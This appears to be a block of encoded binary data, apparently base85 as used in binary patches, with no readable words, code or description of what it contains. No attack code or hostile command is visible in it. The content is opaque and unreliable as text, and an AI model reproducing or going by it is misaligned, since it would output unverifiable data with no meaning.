z%(MxW(1~}?Ga^^RR>#k7P(M$xP<&the#-CPP`B%Ad?fNaF@Q+xRZ-K(HU=@8{z|-d zrmQ?jp3uT?u0fds8ApxBeZDFVgX6`2S1YOM?_3e2g>6_7%UvU^R-uN}+>T={`;vDN2ZxX6+;g^jtX+nM=7Kx2WC0o}^xLB%Iq|Z7ggI;p|unbkIlE>2Eko0fW_>`KP%MW5Y^$H~Svw*^`A`cokOys#V&%jIE%F zQk1r8p;Ojfto?iDGx|a;Ebo*KIX`YOv?%xSfrBwB&kUDl?IOeayFH7ry3d5wl)i3m z(JP=Y3)V{MBiLJ@K5IMVLkRAy^rhguJ7slWhm@3ulC7Pen)A2^o!B;onWU zrN#{55qr7wb^E#o7JDc7+x29_#+hA9nR&SlN|8nVPsUlC$+I?G*I=?SxdiJ(imI!uYKWE#YI{Yb)q}2l2qWNK)Tb-_qIc zn9g>JY@-G`%bd~*ypY>i(s;n*_PlJ6`JmBf7+Z8?O|%AU99Ub4>=0!kR!A%3$^*nn zHN~uKf2b-|V8n(h_6;TW2giuihiqa{dPl zTnFdBRQrJ8+7_Eu(Z!X&>Co~LTT+WHop@G4hmD}+r>{SL0%q+hI6baMuimh&EQh{pssSIU*C{97D{ zj=8IpAy$+HnT4`88MrSy!!4p3_wTSQBx`_=fSypTJ6aWfjgU^H?MJDeTvdlNag)A? zM1nCs?-kXJ^2T2xq9@@!B3IT%w&@kZPJP;ZSW+1*X`$Ye?AZZJ+Tln%mMp&F`0@j+ z4u88v=x@ z_^F=XJzF3-PgluMpPScEl~$Hk!F8mSFA$!tn&HXyT*4K@I_GkbfmXKf*~~li)ZdU| z_Eg@=M5nBSfe+%!61Bh0ly!3zUm50WD+Qe4J!Pt?bY``1`>t)_%Aal;JvsqoV_U~r{=@11=N;{$t$m~dZ>yKZmKc~4^{Djo#1;z75q*m zx5(%rg=1j`+*N|R3UC)3J9Yms$$fD6Xq5;2oryH@JD54_JQvTVK5k}mSheC_*VB%K z@Ek!u&n74(|3rfail+ax(I!~kpEW3@&_vUb(ce<}4Z9n3p^do$Z!GpR_h@DGN4$i=3YYhS9GBdl~1Zmw{Hi|HWRIoe{b zSZ{j$702*tGRK1Wvl}O5-5%-#el)I|4sYzPIaU3xd7VF(>j?bvDk6E^w1Me56w+i7(ZY1af|{=k!UkJqMo(|t~R+DC9FZhpGuLz%Mec5!lJx zzg%=WoJ(=*(yaGolq7y|NA(z%)|*}1^v1@k8)>hU($S0hJ#?jsS(4SI3^A8}Wt1Jq zUQ`EG3B)D`$zi?nJ@k}`9I;x)-oF{-9qKl@$Oi9q5OX+_^{V$|_%vOrIjWOP&U)lw zmjWjYllP=pQ+$_*ngEl-WBf=ExJxuRO|J>bit@rTtcS5hd?Z!Wba8VuVIDkYtZN(? z>n$pu!k65E)@?II#+2-piA-)1^eMS5r3>2A&zNye1$9!|6U7wl3Spl|B)KV}EL@Rfy;PWKzt{BzqFTPOs!_Wqq2p2&nU2j5@v;+yVW`8)r(JXG3PxJOT#QD`I6_j8XnaG6 zZbI2c$RA%O}C>F*b`-UJ^XxKpV_Tu$bE7NIty z4Pu|8Qz^ZFAy>T5!RF9-qOUf|Tx!4D^(IN3rX}xO=&hTl;$!_H?YIvH9DJB`PQgEN zfrJ3NoV1fUQiSiMoX|sFrm!Ly!vyT4&~S#*)Q%knrL-NhV2oZ^BP0EP7w?+M`yQ!% zw2qc5rH%{O4Wkj~Tx|y{DndL?tx_#-yFlYjrS!ms`)eNn#~-+m=uPq^1$VC8W0t6+yjgx{QO|4Fr%x*nlEI@6N4KKN@+xry|Pva>j!n@wql=l_=g5sHu`@+6p3qm+RsiSeX|)Gpv^^(M9J8y7Yn0OOrzrWNPO zy)IA8qS!sM4h6Jjet!ylas}>lWkQcg_}D-~ZDJkkm!T&Qjm2f(Nhyki2mUZ{^y~Sl zv?Ok1+4lHTn0%&9KE)*;!j_i9J}`^D*biH>Bi;8fA&PxUe--$p=wO4Gqr`YtH>Q*t zVtiXWMst`6HXY4eE0g9#^%bx&%-luQfp>YbnusTFTqNZ$NFmf z>f&%e$E^8q_=~~heZ-uJNL7a0Sn7RzJG`u)$xrGxfOmZO@Cvr;Y6H%j?K6p4el{@A znrTEWp8&14D#a|RQja@cUd)obxHF{}4`Y^;4ogbKs-oIVBggy3RQr-c%o0ve?763KkV1|+59Wckixu(P2f?wZY(Fp)lRG%`5i*ojCGt{aT*X`9{>$o z<1~C{rlvTS6r(`~8r1z*g~(0WNAlRcpE~(=<-SJ-_->M`43y$*eFA2?YTTgU_p;ut z1JnXBO4(x%{3*vcwgYE{wMcaA`|XRkNR9MMobgKzDfiJc5lI6){5p3g(_aAIb)L`k zqG$WC+EAz4hKuKt*KuT97dL`Uu#eFH1nxe;~XA*{;n0A#k&+88h@5PfH1Evb!| zg#%b4+lrm1I9!8=Tli2_vge^?T==17s`nY|THNzZ!PQ%<-&5KYiC_aOEG`KV} zdi&%$4vBm!c43|4oLJUK(0@{t1{%{$GJ}tFR^6swM_0YRqXBB%hFQ1l%Mad#25@KO z{>uD>FausTR_QI5UsC{y?}W#JcErkLkxDboyIqur72+N!`|+N1Q2AJ!j!JROi)ZNFVx5d6DVW50}D!OpH7~PGyCI=cAnP=`gXf?eV_fH9GI>zTXz>`_I1B_coGdKA=|`UihBe={kks zm@d}$AENJ?{uFrfT``}|YGGqqJ8kqc~H%mwJwbQKkQW%+YMQBzq3EqTR$=)WmmZ2XaHq{3JK< zhqK%&@!jX~eIBIW^b+#h=U_@Xse4lW^cJK%7*>!IbB4=?<^I7MUWXULl`xakC?ldSbosBz1xq^D0DtlfgFP8mys!s9ftB#S=@wH|D zv((;U@qK~bU)J&7Ushvg>?7uMUvKTRH7P!v1Fz>hm1f+p7nur6^8@-jniCx7BgME6 z%;Yf@3437^rUY+MA&D>*In7u>#Y}F|_!Bih6YeJU^>UBzY7Li})>x#EJXT}E4$ED* z4XwofVo9W{<}Bt+*ekXWDT=uwiSTpV>vk_sX-}nVMv`Itr$s`f{9S?o<%z9~T)5 z);n{R9XMTPNfMPs@_wb?wj^0t>fDUkATK6iXChs=!)aS`pMfbKzNVyvKT}!q$(aE? z*_|cu(4ay6oDwcfb|=GDi0KOPa^XkKI_!8L5=RZ1=Mpb#W^A^S3*n_R=}MEkYO4|R z#s$iJ_9X6>?H(FNeIK#dmM~?nR*{mzaEqSFleeibo5~TG#md=yzp_(p#hG!ZvP~xH zikW`3#l z7Ynw0}+%?pIy5CH&r- zs+1*~lbGq4RX&_K52&rSB}Uv=dqvN;v!d3gY3r<_5K2lI@c18RRNdNuCODkA4(;Uq ze79<^eig-e(=z5v`YP34-Y18jWpRFEl|!|c6kE^_sspl%)P8AS#xD@*;)S?YPyLlP zcRh`7U}698O(f+Od@rj7-^oIvdn&V55~2#~=$Wu0oOh0>_ml{_Vsb{8r}Qf@&xf}8 zR3#Z_ep|apP%XOKb($QD%|#SAN5FbzJ{xTI{6!jn(g;~0MK978NyUr$>1kUMd1;6g zW}nF@RQ5kt^H*}0>m5U3m=i=^5I3(P77BHgnw<{r-OGcek(IINO*-|~Lz zbcf4Ts`gn$m-Sy$16sRMyYF%}mCAi=TcuzVRNaYK)0mG_A@Z&=&qh!^6I9DXo3X2@ zEJuvm&XoM4KM8U4${M+F43c|O&-~2sGkR`=&M4?!ovtH!uR>xk&aItSNBgLdM9eU= z!)3xEV5o#VPs79r^fT@d}lf-F>esagVCgjfm^*F;yVloBq_qNYQx8zSOQ6hf0Nv z!})@IkD_B@WOz)8*}}xg%VUY%a^cq)*%(t(gROzyPT)=}usTJ|xJODOlssZtHOgYUjhF$HaRS_ezD$o@i|@r=@?#H(2QULTh7q~?ezPBGEL!3k2-!hPe9hrZ9 za4#_F`|k$aJ8EaiDm6YwRwM-z24m#5RV|jwWsB@r!$yczC#GUQkVdDJ5=|sEcyry& zHJ<8J`%m-=Cu2$7`vcr$yJ{e%`#jFZT!C*yk$i2Kp1PhG$r`1;jQ&>OyE#;=9Ru+a z-L#VJV>NZvwQ-%lF*dU<8QA+#ek`7E9(C5bVzXrhT`$Nl4y!xq-Y3bcU0#OOLPV-K z{j8CZqKb%IWQs~bA1Ry@VLR{qh|c}z!I~5}gAuz~pLgkUg-CPDYRi$kd`yAc+%0B} zT-0m!60bg1R#ZD1WtXB%?Z^E;+{j1SZZ*EXppg&KdYBs&R~IcOd9+PxD7U7l)?nBA ze2!})1=TnoAJqAh+cLpB>O;n{{!e+J!Ct*WN{y{L#C=P0j323?jG8R8_c<1xOzzIC z!+q(9u5%r}c5>ZWeKozQmFi9L1#pH81~UDhJ^nJaP9iR$^DY_I5*@!FC$tpeu?jL+7W-AGaCdx&2G(v;nzS zh7)abB5|0z0q>Dm&G`GK^XhK8K7uvsND8Da!)bkbzbG+GWmiyJ2>Gl8U74{J8S3{G z(w*lKYoIi@HWzP8P^yhk+q`Nl9e;l?Ms0ufSU&!)7`y*0+eyo+V`a-?W%#BNa+btu zEFMD?(wPJgM#A_eM^{P^Hv{Le;T97wzuI8vrDr#!BkB+=6!+q;{phD39sS-N8-8m~ZpUvv{05y(p8P$2GZ8&zC!FoWVcfpJ{r!dVWnFX))OuBKaJr@dQt}`=khIK8Sa+N3d^PUqswOAVZhAil0KaE$ZsymKOgSHe7K;wq(BzQ zSkB~ZawUqhg_j)s$#s}jmOz?dK`zqjKr3Xv%UDV!*3~n90kfKjOP!i*2~)E&U-%q=5^# z^Wt8QQ`~eWrNVqvwMtd<<(fO{nJ%k)j+;mijZ&@H)CKwICZcUUgsj|%`7mPcFp{p% zQfH~Q*5JNMy`}bHm*BbC#hBCF+|wqZ#=%+Sl00fgv}caZpl}midL(M7=J7=yoQA2D zOS_^@K@piz(_%4U)_4WO;G1e#>#mXGV`!Ee4JB%Nv~C^>XPi6C9#D@MnUXt%80rW|Et~rq-d(kvCN}-QV0Zv(x4k8VYJB7sX10HQ%7sj5~J({{8V($Xbn&>;oIwtl*;yZVhV-IWt1)_kIqT;L`*sA`C#F zhlPoaJ%ecvmWdm)J_4M{(>$KQas=k8w`VGAKs;{`??4$v+;L#@_M)C)3H8L%q2+Ck zou)LsM!&#}{EBTN9 z{xe!&7V8k_1mPG1FPLzUwfL>0G?4fA$g2)*M0s(@rvdo|2J=E5l;5-Xmh$2p8zKVI zKszK*8iSb1OxoB}CmlJ3J1$OBTG81kr(7L26CI_Uz*^tgBg{z;Clh_DclPX{^pdhGi7ApzfUv9J-$8>TpQ zUSKVIpHv8Q`&EkXN8Vi@N4CWS=X?q3gF8W}{2G5HFl6!Dzp3Y4iWf_VUl$kFNSjgb zO)8$a;7G%w^qB6$C%J>TWi4K(SSo9~g-cqdI@($E{M~_fDA`HA!)O$yd zMns#T-t-M;+!*m(X|s)2+N=R-5?v{uAFJUvsx%>53~jT)@)D0x{-dc5jvYOs*VmJ! zuL)(Lj-UB}!;Sjr_J=RQg+RtCXe5N7@jYPxq)8fYGJHBcsvaa&jr-;S)G2K@X{zmLqo`=Q^0cE)WXX57$o(~vw( zd(n%qotZg&;6cLJUKn8#=vxhkx=`N4lO=@h4V>*(^;@(J`U=$S1hETuCBT1vEKQ0# ziR6f=pkHq2q5hiQ2HVgs$bU*-0roIqyTekvN25UW8zwS%73&mtU)?z zStalA3Y1k-y<<3b^x@70e20EFD`kDyj`)P3N@cf#2XNOl9s z0qn0UVO6oPC;qQ6i|1G@?4DQ{_Cn8V?6g`53yi}$$uBSDK-+?bGN};S+4*44zx`VM zZ@;d!dOulf-NHINg(lbn#%Ka@m7O)reyLA$7HEe+#N_t+XP@i4_d-|sBIJjD+7FJn z@(&aLug=!dSirvaF_I^pA;|jqN6aK+asL9sm8*mw9uh8GCH$o!;hL+2KRqN|ca`vc zL&DRp65cu_JpC%++lPeTe3kHxL&6`vO8CP=!r#A2IJDd=^ttgW;dcxPcU>iX^^ovK zt`fd{Nci5Xgx@$M+*pTx^B?VZJ;Jptg(aa4Y3wH5gNY>Ln|o5GD-n(IWSBEb;p?I< z!i=BJv4-#<2K?3IdWXaXKD#ualc;ee+%*(SljI_$iSfRGIht{Q!NO1<@Qw%L`xvK| zhxjTwq+V1;^23-P;;5WP$nL9zQy9kL|10b?`Ykbaw0hiEIkE4e)j#lae2iX$X@5iX z0LD6D|MMs#@@?R({*W!bA!IW(gb1&lGXj@=z?BJDwfIIl(uQ(2aa|~b0w=+dES2Hv zXe=1OY}Z5HQJN}dyXaJenVlhC^5@4~g-`@+b)z?16c=EehwKKHKfRx?_Mf^)_}swe z=Erx25~|g2DtOyK{8x=#61_8HR}RXe;`KvzhN4>B(ZE=HRD0yq(o>*=!>v&Mz>5Z! zeuKh0yb2ec|2-F7_`MBJ8=eR6!T5!GjK&=-0@VR^!L1c49(-wZ(f6g%8^1@rBFuYh zSnvO|my?K0Jr8&P=(e2AlY(vKi)8~kbRJffn%@5DuxL$+_sJ+lhsG_30iwxhWzB~kk}S0{{450)k5 z<(lMT*>souq6}LR@TL;5mwb_(+pUWl&*rY0BHPy(CNCN4x?Q(4-m<>o?S?FQ74X3>KgrZHfrKqvcbKmitoIZQ3p{|6 zaP9(qkXL;6X2vO7fH=%$>qWiN-&b>y+KGuN*cZUEHR5vX&Gm(an!rlfH`m||C#ABD zqTQ7Mijs}vaS!dwPsU0i3+9Eqk8wbSumK-99(y1!_SIr#K!esFcacy|(?i9c(Vpcv zZ_BqFdaNC%twt(*TbyT>NAI9L7iWQn9=UxQYzKr(&OSS5dpAsV8Xs2X#(fh2{^#xlth(5Oe$TVc%#&iR-Q%uJ zv!I2Va8=3fN``Y@&F$E^nF?H<{yv6Xu5{+;AYzH`g%;Mn+r;hZkXO39fK%OpQ-WO6 zp~nO#);U^*R^Uf|PA7t(-64VR_bbVvrTA}6*dXrbNVv@`a6-=|0= zf#%=7pCj$vY755)-ZH&p+28vNkZ=jXngh}@*|X@hLRY!*FtY(wB|7IUVJwfTBCKCN zb8H}^BBN%M2d7@f=d4lVd^r-k8?i!cw_+!4)OnfSfyKDT4$i&iGSIM)F2f!+2ILA@d9u8wC8cU! z89#B#utq_~WX1W|PCfRnO}9F7A8`K0G{qV}e%Oh){kj8hExFF~8`A^z0#-Cv1*YV3 zJ7-$CyqU1H-jv7f;`Z;#_^I=zlS{1&0<$_`L~M4ySoy*5_;Wt@{1(`^L*DokRtk&B+};XL#kcy~8U5%fq%-tPjzvHe4@V}_-807R{!D3Q1#!VvH0HD6T`duFK#OMnf4EmeH%MJ$P(_r z9$WQ1tpm1eeK1M+WZC;@F%fr;%y2Cp>4t+F#87MRNA{eSk^!gu$}3QMjFl{rOnB=^4V+4F85_zCRFY`3zx;e$UV#ZR>@Dx z`Dn*g7deLl1aa&@j4sE!>^9hR6$#i)QeT!g?GKC|PM@1% zO~*K#UbVVLXWd{=tJqg|jE(iIDbxJUQ>KxSQZv z6=`z~x%Fk>!3z^{_rpVF9i}ZF+Cz6g#!mh(Nw7)d94-DD?1s4`tanljbA_BxQ9Pf% zI(eZO=X>Y|20F!?-U6)-bt*+;M=k^J9PfW^CfjdfmBCKu<6*5eCtFF<(b;fq^uCMQ zOwCE0RXEFeG-Lh=i!F`o-=gewhb=fklXV9x9E;TlZ;p$9UJz`e_0a0@YTK>1IJ8mU z1qFAJBn4BiPp$k+e7LNXg>UhgVA+jszF@oaWY$vlT(tr1mT#rl8!zOGeDojZ$};m; zdsb^eF+MuxEcgxiu^o&pLOE;j?@iRfaX6>4v2$J7{5uTR(IwfYDyLQ2;JoGp*^8Gu zIiDR*8_LgG`}=-(-enyh;H>(hI7pLJi4W*=)>zUcyVW?I%L!WEF%`P_oFrEo#^yNN zjq(zi)yPAsbi?w5ncp#eR0 zJ<4_vI&L#u6nBy6C&guL>;(2X<(hp9@H~2Ag%rEyo_{E!FpO<8L(IVtDnjR@D za5?2yYn!lI^{t1?`?!NZ<=-M5%uleyen*9zG>|AtVdXBYO_ zbt=!h{;Y>Q*fn~>*zWC~k3C;|-YnlXiv?zccE#SNgj%tdBOI9I;p}fnt*%LOvyz?n zmif(c;XprovrO2vdX^BFTzeR`wuM&C(gs>?c(iP0?W_204xN@;<#o!(p6#_;ooRt5 zaVok$mTuye9CV?{wZeg4B0d*7FYl6bl*(E{R!GK4cA${fCR>e@X)V^IjDXK{>rKF& zJr^8_zkFZ>!oKenc0GXoPZw!4u6?uo)>-W6XNquOiVP~-*|_O}Khz34g#&lZtDN#k z*;}m7%Q2HUv7=8b!`;ujufOtppK>F9^X-qBo-*BlbidTU?7Bg=;Vjk? zP=ECJ5#94DzhQ@QZe^q=-I`r;i|JadPh9I7jyQtS;TeWjd+^vH`FHYe`7^m*u_s_$ zE65L&&Kqre)tTKrKeKS}#kJq?_1RW=G`-H_KU9witY~+&#+uB)F|| z(iCvgOxI%hXRO(rK5C)7*KJo`VmF!Bd05V9>?@n2H|O4OL0R*jlin=9(Q|A0Vb{}W z-#?~krW|2EtGUTcYsz!jL~FFygdT4L9n+4zP~GnSi@ZlRD(TlZc^)nsTYJ!{Ki1*Y z9cw{NPs+@`TW)t_MFwk0+D^SAdSpEM#9qvwa^axOvv)A}xDQUXW?=%#y88S7j6_M-wbUK~s%om|ai?%>ktg2#xRXEDjB~5s2RYvePc?S6V805^ zh-;hkX2jViT$@fkE^k^!s${X&nv4^hh=Z;Ay*R&SeX2Y^d$se$GH#!KvdMw|Xph^e z@v-dT>NgK%0N=0uwsKA!ZuV5p$k16mH>@kmb$u$gy6=?p&G|XARvA7OEOXEC2yXytv%N6LFom1}Sg7314J;9%@m#N+eh50tSlaz@O*6ESzq4~yFU zngg@gqWN*6X3BIc_s&k|`EEip*rEK^vfSkHaM{ULzsn=%y2i+#=vT<2$BpQoUHKJz z5nMLHGt!zpWv!_MTvp;rm-XN>;6By*ocA7kTz*$>lTXNXN&?n{Sb;ro&GnBS1JS%l2uFDu{x;!e$ z`n@z(dW8ASV=KGeEPGwqjUFy{ncM2#Bx$UbCF8+alU&cR8|7B>m{Duw-EL9&DagFQ z!?H(1PnPuN>}-qP>X(GP8$Cx{+rd>Iq-Z9;#-6SjVa7?!fW!){-}H`vjG0#Z1i0$Z z6|NdKx5~b{Pe{S zD^J=g*gA~%-N2`R5Bz-SjsrN?FcqPn(i|`FLa3|iq*xAVzi&w`1MNRE*JFICj71W;1R)Irahc&XL=Ow~T;wcWJ-IqZ_(=?ZA9KMra49;}k@ zc(Ckq4{seaael_Ws!z;i&Kzl0*%wcNPKZaIcdE7KLuLjtb-|J1Se9S>4wl zuYJzZN1HKzExAK)9pm`G{F96dr%u}GOz(CepT9!$;Q}w2lN65=xZSW}Y?*U1YXx@u zZCRqp=Ik2Rw)u;k8&D^YLqm9ccG)^3*f3{p+1xvFtYaqqk9nnYxOBwHx-&vtR*jPp zvU@JA)MAw%yYPnfBMsEu9!v~*a57wjb!_Z?j~={;Gp(S^{)<}ZN1Eui{#DkcnJuNa zV;9jG%wgyh0CvV5>rt+;j?2hLEm-&8AoXv-=sOSX(WZ{R`KGq{D{4A1`qoshsQ4?& zU0>Ev+h}HEN`im2DY;ebZZ@lW$(;A9zfkM6e*VWl7OWaKzcR;>UEJ>=siiM&be<2| z==>_Qg8ZpN^@6u8Uz#eb=yb({Wha0dR#ADMDPP?0mgRM2CCVPy^Gh(7+)-}wtnjQi z?{Iz}d>XSWPSi=SmG7997ZiYFkPS&_Kg#c}G%uB>RmEY)U3=|kKvgAeVXRrN>L7)d zMCquh$1<^s%N~ooK9{S_iy$*6ROaWFBd_2cC*0Y}%JQ+Q9`)}^Vu1<&KgLbggV?{bOGVNyQ?>lm#Oc8+!0lUp5E7CdPdD1!gXj|%JX_W~#w#B^&e%-!qo?rv7y1oU#7FITUy1iuw+{5BVR%o+ zJL$$N5OxsHVR+WyIT`L5gjw)3z#WC2c)4%p1p{`}4$ReWwPLT}m+ya>JTJNGk+Qlw zh`&EImpTnNtIfK5zwGT5eBB;?r#^ROIZm`dCRX=8+}rKZVQ0^_-Zso1-a)!luIS;P zR)v8w_F&mF^Pah3U(J!?$2$oNS!jv#JyP~)*_6;2&+VQUJlH?otZ(_dCtlP@+*lSE z6H2h^Cqf6ywop6Rwppx_wvErym{)qzBo;7-1lv}Zrn$qUYtNs)-b5ou3Usd>nCIQ= z{<-`UCE__)d&rp*=xf4w_a*-RYCKKhn~iczN{E){m^{U zp!qCxv%(R973j(FwT~mLLuq&0p`U326ti8ixLe#Sul#OSmg2XzO}ASU{Sqe;QgF|K zZug(Efq83+Yrej66%+QZD?45@#-iUBtbSU4Skb^x0xd0nOkj4^XnUJ8r`wg;e~sCo zx0h9=N?W9NOxQCbMOWMZk{a2Fph#&7OBg zakgU^!4o8j4Ksz^OkC@c-J+WV>WELOEY@QL+QT^4dDB`sb<`rc!=0<_X7wf)^nuaP zIv428VuJ&GYP&x4Yk1>CRqQ`Yo*;OwL;q# zj7FbUA98;oKLs6UeAFL}7^&O5Ty5$HD0U(^xkDPVnlAMEv96Lz5a~sgta; zTo>Yu$7NVJmmQl?MLTeg6sMZ{i(8!BvB#YYj*&F`QJ}APGR7eOgx7A=ZOkZ%$^BO@ zlC1vdoDFxB>8!s4pnhVI#*4Sk#i>&K*XKH&{Lx7kZVJO4g!!?r4qjyA@&dPd{*I;-`Ne{os2WH7sl`ksB5#Uf=?St}kh9kg)S50<67o-pO- zos{d#=E@Jq@7=N6{TaBH<@ERIFXx-cA~mdv%X`=fX-WPf&GOG4kur>?F{twnjNfks zdLbk7LC+^Z=fH*mSy6!Z@8Gu#zbC>yi+4SqgfFDYWI=EEEtFrtT$Zptnqhy`1%F+6 zGWULH3iFq2!Cij8Lin#7{TL5(R4w7QaF+G(T>UihqtW*AOcj3d!4K zi?XbCG%&N+SZ&Y%{HFMzQGxYiip_cpew|bO_&|!)IOY3Z%H?=y1|$@Au;rHp?wz|c z_W_h*rulERuayhC-eR|v&Gfv6`ossP!A?(eGoYK;ekE;j$?{kw8LYC912OlXUnWTYlQF%N|F?glqW&SdrXu22Pj>y>JckgJmfSU9)1 zo|dbTatri`Eulro%YZSYF~sNQLbiXcT#t6#T>FMIJ@}r-S=;CyXCC8vA9H^6h+w&U z6QEk^%igUe&0|f7uz*S~-xeyzEHN&)+2eBmk9ng^^Sk12tjNPQPtEE6q8PYZU^Z$i8gp>Kd~JWZKj zYqX|22(>S@Rx=g2Nx|`o9zI3Zd9`f(xnMH>qQ_Z{j_-So$o0C~*YS0qqLVYQXS)Rb zVSgj!5Zohhm)E0jz}*g)3-|j5;Bmptgc}d{k(V)MV`HZW?yaB}uP>Wv`ZHRbyVBw- zue3PVUWQg^lD4_ZFeYJSL%zRO@@jX1;x@Fn8!bK}uo5-b)e^71gz;*dn_3(?-qB|i zYVif?m_$~H{Ys^~$$e9$u$Rk4->e;H9uF(X^7)U0&aHBjvduNdwFtkL$fwYIOqiQ< zIUk}Ir+Y?NvnOwqzA@)pb1-ufUB>@1b1G2h=h*?NVzh0&Q|w-x**{aCH?v~0VWu?F z`b%ksNn^XFGTUH~ek#3g;%&)xX3$Gb8Oa%&rT)Z;mOq)l8I^DSNWy&%dDEo(SiHHY za%c9fC$nCJxq+v$wdjWq5(6f#h%}| zeukOT?^84-ezu`zgo(}-;BXISP8qPCjZtS#jaOz)BX4N(JX$vOzs#Jlsr$0A;v~ug zES4n)fQ2|9)jl{!c$@WT*Ah4$t{ax&q2tsd{J#7M#x%J1;G&0xgpHkLz+GX5*@4c= z(Y6*)YlTX!mnw-`qd~1Bpw*D9`e$jH zmCG3;-OGM!@?W1~t(@`(5E@=EEyWCf0!|JQO{!q0_?IOPX|kM|urmv-H+h7dmtEId zp2ldFgHwux?ZdLutR^MR+L!WXxh9X+blzf%YTu~Y0ed14vVsCmtMEa)6L*IV{vfP9>r9mscd>t%@9`Lv#i-BETt$`+AT}DTY1UM%ld|Ca+5{^rh~jo0 z7MvEkxpH0EF3&Uz<^#tjhKAMdpt0g;VaQ@4iI*2T;n}B3`2COu=<~H|pD$1?aMb62r)+nRx?*vA zPf2n==U#s0_nXS~_?2_ZLrpU1JbTl$(j#OEIrBZcUGbJQYn)=Y-sE}N zH3Qtv9R((rH60qrcR?Brz6~xzee5y*e@V$SL4P{-oO05$7s!gqfqk%k6W{xlUFvhM zvKlr_{Qs|I$8jLN&KUo0o-z$T0e^y`OPvnO3-!mhFA;U3{YbuHJry8MX5 z9eA<)TBkO6E#wf{sB>UFd>YonR%hZdzkEvGD8GlbBUn`Aa&W+a<(5TPWAEX8Xlows zk+tX#aQ~=>9t{^gtg~*b*xWg&KVRmjm)|*-tSWhmO(xq{7DB6X5cuVx}mu zSY_lgG#uSm8;@NhCtwp#b+x%mWg)l3^o-9_aHQl_iCPrX&OSb=~A4!$LTxp&-4YPmfjBQit}$rM|DvsVU{YuB-q(Q}3XW@N%CI zJ8*QtrSndTv)ChL_burF57$&Mti%rRu$|Bw0{azV@4`9y8EeZ{dJ-Xv_BwxbOvp*I zzTgU(Mp?Hx_mtK+7wEYxi)3^z2vm3k=M4d4R>B0~#5LB$V!Hc`v&-d1r!ko8nFu7! z6Z+9(q!X4=tvFM%W2uA|An>(O+Rh)#44Z30t;bsriz4Id9M)wQQjDje?>@2?@ zD=7-u(9d4dWu^sIq6N~x!8VWHj$7-48l1^{0~TBC;jjw3g=ot~0azo_S#2lXZr)Yy zK)bi!k2yPBJ)9qHAHEN^eK_px$rplpr2X-wIP__np=V)Tn8R)~GxiJ6UOcR{<_p~v z=k-g!P*U<)w=w7TOk-97^bJ9|nZ4k=cx;qa!k!^l#%`zP*rmSj&Khi-d_XbgCX5kI zBwG_F$KmvRfz>e4X9jNdr8rmxe99b1!U3zm<-X0TRiM1`WY!W$wM8}lxVYmkgb&cf zf;oLXc2$i5r}-|*VkC|AWS+0?B8{V#w=-I&T5Qj@z7uUw^(n9w!nPz#0yJpF zKgqRPUX3*)tCh!CgFb3c1MlZ~raMOjk&ktvwZTQ}UnwULBJp{TWnANW+N^g`Pxi=n zn(p=JCt0vkN_G~^46>G@wKvtgdZo30g&Voaj!Bp-xAoJi4V_M135)*V%6IfgCfaPv zy%-zdp1+6MtiP`qZNu=7_5^E(>;uNG2X%k?@Z^F0*GbsJ8bzEsw)a%m;J)7>``8m> z@xT=!a+KcWtE9)p;!$|>Rl?6D4djRYCJHA)4q;4l9L}xEox2&k#WI#?U!uK|`BshH z>Jg&TFWBbrBHcPkE&A?-(ZmU`mL&%XSwG8~4XfLQU>@`hvYwi*=diyaU-r!&S&?V= zX7hD)=Y!5BM1OICdw!Lc*;?fJGS{RNQ<2(J7qrg-PY7k$bwP-BsPPV7pfb(AKw9r- z!DFyt?Y$NH753l!4f{j9psNh`(i<=R_3Yua>*K6xxCvk^-JS=F6>Q!}QuQ;h!jtDf8jRtCo^sB1n**Hs;vLSO25uVN+RphzcZci-if*daVtu;d zY~SxLf=}!jot8QWbVa(eong-qt+a$#^#_F{T(f!aNv?nk2iTwlnPU01kIHG%X?MidoMBMRLznUzs=+Pw8X`JA4 zXk_~occR3dRM3KVpC=rRh|EN@atL(N1QMpwp5zYsbT9ULdbT>bzdS8}(c584$fr>v z@h4fb$pPM&sQ-yw?(Q8(*Er{cPEYyTGGN5@vm7o9cjKN+g|#alW&Fo^m(x}HKPFCz zgD&a;-uNf@BzohEg>IWi6R3&BMXr_K2=me$?w{agIn-_021(>aL_ZSxuF04WU#|O=axQaK^){^2c^(&GBNb z(OI+5bfA2dcrET+t>LCC=WScq6lGM!B;^*dSV49CP3*Vf?~VPL`1?qI2LArE-=tiGoj5m3kPV7gWSmhE#bm{6tKbvyTVi_PTk8}K zXUs_g(B0}L-gsnbDPz3?**f|kg}bgZ2|tGXBY86JD)Iyet4^yj2|MDFu}7@EbHwv# z)fX4b8rz7S_EjAX)JKHqm~*3F@_wSPl4aTbU>WV&6|LshTW?vll0~mQYw4u@V6<~R zh|C>_6R-!HWmi~Nz)DeBk9FE?Zw|BF!ImxJik@>`AnczYHx>A_wxo=)y6j~10Y`#$ z?;@^#98L}`AA|kJxYzEx-qQLe@b_}`Ud}Pj{*PWBx2Nr0v=u1YU-bf|3GEy`{L89e z&V7B}zOskPa68}uUDGe-99cpuw1uAG*4HXOY0>!Bl?guF+Y8Jh-GOWBd0^AwTx>M; zA~2bD#kIvB_+ZHtk3RRDsj}V}r~lNV2)i-z7js2GZ*N*DV~;uYyU#>xU*9I^{GSEm z4#c-*d8XA^>f=36n(FHv&YobfH>dEhpXh*(R%JAH*%mU`Y*UB!X z2EU%bUv2l?!o`6b;QNKLPFV%tz4Z6Qzm%KdcT#ywse@k|{toNDz3{rg?fAk|CXW@$OAH(MzY z)`!Zi(D$_}9e8!_QyaOGjBa=`J?XQe2btRzL(o?8E7YF*F=JdmZq9mc!@#6d;M%5=GVx%LDb-NC~9 z98+;iS4&MVu#16gHPhu41uoOY9njl6=o^W6zhBvsH=Q2=Kcj60Qs)lvEp;e4FaB83 z?cNS_!=GRF+I7Ar#)-*@#rxbS-2pb!1+=XLvz3Ahe3_+lEmZE-vg2QUIT5!J-BoU| zkM{(Z7uD&Mx;WkO+Hyl~p{H)C$*Y;v{pGiDai7-Vj->+3Oh?M!_kODtj^}%T@GpPe z8`Wu#3%e(H{xEWy{D|D!TQG`iE+)S{`JT^53i2$OS0;Fb{WGz@=I39YH_fl-vdplL zatAV92{uiWVCS3Z{^s{^5NE#|+6MX+?PD!NKNqnc%^gU{(zFO7?~}2cd!SXO3~2M= zSG2>9XDV(FH_eR^kpG-3&XTp5&Ghxf#w_juOmoAuyl&SR=PN~nzwd@fn*wrN-rZX3ahAK%gYTQ)a3-DH zt?r@!g{iME3SAN{+y0j2>t5`P4&sba+rP|jXZ+3Vmh-?T-_`^KR{^gN)Uppyq3A!;L#uuPOw)oow0&Eq 